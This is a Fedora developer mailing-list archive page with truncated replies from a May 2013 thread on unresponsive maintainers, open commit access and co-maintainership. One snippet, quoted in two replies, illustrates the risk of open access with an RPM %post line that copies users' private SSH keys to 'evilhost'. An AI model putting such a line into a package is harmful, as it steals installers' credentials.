Re: Question about what to do if mantainer is absent

2013-05-17 Thread Michael Scherer
Le mercredi 15 mai 2013 à 11:40 -0700, Adam Williamson a écrit : On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Kevin Fenzi
On Tue, 14 May 2013 20:56:59 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well I mean, someone actually has to press the OK button, or the change doesn't happen. Sometimes that can cause delays, at least for big undermanned projects (GNOME in openSUSE isn't too popular). But

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Pete Zaitcev
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Adam Williamson
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Jóhann B. Guðmundsson
On 05/15/2013 01:56 AM, Michael Catanzaro wrote: I doubt that model would be accepted in Fedora, though. Different cultures. Which difference in culture do you see? JBG -- devel mailing list devel@lists.fedoraproject.org https://admin.fedoraproject.org/mailman/listinfo/devel

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Michael Catanzaro
On Wed, 2013-05-15 at 12:21 -0600, Pete Zaitcev wrote: How do they deal with a conflict? Imagine someone there splitting texlive into 2500 subpackages and then 100 angry contributors reverting it. What are they going to do in their open model then? -- Pete Well the maintainers would just not

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Ken Dreyer
On Tue, May 14, 2013 at 7:56 PM, Michael Catanzaro mike.catanz...@gmail.com wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would

Re: Question about what to do if mantainer is absent

2013-05-15 Thread Kevin Fenzi
On Wed, 15 May 2013 15:06:14 -0600 Ken Dreyer ktdre...@ktdreyer.com wrote: You can always drop the co-maintainership after you've got the ACLs and done your work :) Speaking for myself, if I see someone's contributed a good patch in Bugzilla, I'd much sooner add them as a co-maintainer

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Jóhann B. Guðmundsson
On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer. Fesco allegedly was looking into it but you know... What really is needed here is

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap and to much in favor of the maintainer.

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Jóhann B. Guðmundsson
On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 01:51 PM, Simone Caronni wrote: I have a question about the unresponsive mantainer policy [1]. The unresponsive maintainers policy is to be honest crap

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Bruno Wolff III
On Tue, May 14, 2013 at 18:32:14 +, \Jóhann B. Guðmundsson\ johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... Everybody is busy. I think the point is, that if this is something you find very important, you

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Josh Boyer
On Tue, May 14, 2013 at 2:32 PM, Jóhann B. Guðmundsson johan...@gmail.com wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: The unresponsive maintainers policy is to be honest crap and to much in favor of the

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Rahul Sundaram
On 05/14/2013 02:32 PM, Jóhann B. Guðmundsson wrote: On 05/14/2013 05:45 PM, Kevin Fenzi wrote: Yeah, I sure do know... Fesco folks are busy and doing lots of things in the areas they contribute to, so if people really want to move things forward, perhaps they should work on some ideas

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Richard W.M. Jones
On Tue, May 14, 2013 at 11:45:40AM -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 17:13:54 + Jóhann B. Guðmundsson johan...@gmail.com wrote: What really is needed here is to drop the user ownership module altogether and allow every contribute access to every component or use group

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more subtle than that. Basically you're giving root access to

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 18:32:14 + Jóhann B. Guðmundsson johan...@gmail.com wrote: Oh Fesco is only busy but the rest of the community is not omg let me not waste your holy time sir... I did not say you were not busy, just that it's pretty clear that fesco members are. ...snip... I have

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 14:20 -0600, Kevin Fenzi wrote: On Tue, 14 May 2013 21:04:59 +0100 Richard W.M. Jones rjo...@redhat.com wrote: I suspect the main one is someone putting: %post scp /home/*/.ssh/id_rsa evilhost: into a commonly used package, or something equivalent but more

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Kevin Fenzi
On Tue, 14 May 2013 20:03:41 -0500 Michael Catanzaro mike.catanz...@gmail.com wrote: Well the open model has already been tried and proven in openSUSE, and they're still using it because it actually works really well. There aren't usually any issues regarding overlap of work, though

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Rahul Sundaram
On 05/14/2013 09:09 PM, Kevin Fenzi wrote: You can even now also mention in your bug that you are a packager and would be willing to co-maintain. Not everyone would be interested, but I suspect a lot of maintainers would be happy for the help and would add you to make your change Yes

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Michael Catanzaro
On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Sure, we have a scm-commits list as well. I don't read every commit, but I do skim them. I can think of lots of times people pointed out issues they saw in the commit messages. Well I mean, someone actually has to press the OK button, or

Re: Question about what to do if mantainer is absent

2013-05-14 Thread Mathieu Bridon
On Tue, 2013-05-14 at 20:56 -0500, Michael Catanzaro wrote: On Tue, 2013-05-14 at 19:09 -0600, Kevin Fenzi wrote: Plus I mainly use GNOME programs, and GNOME maintainership in Fedora seems to be something of an exclusive cabel anyway (can't complain -- Fedora has the best GNOME, period).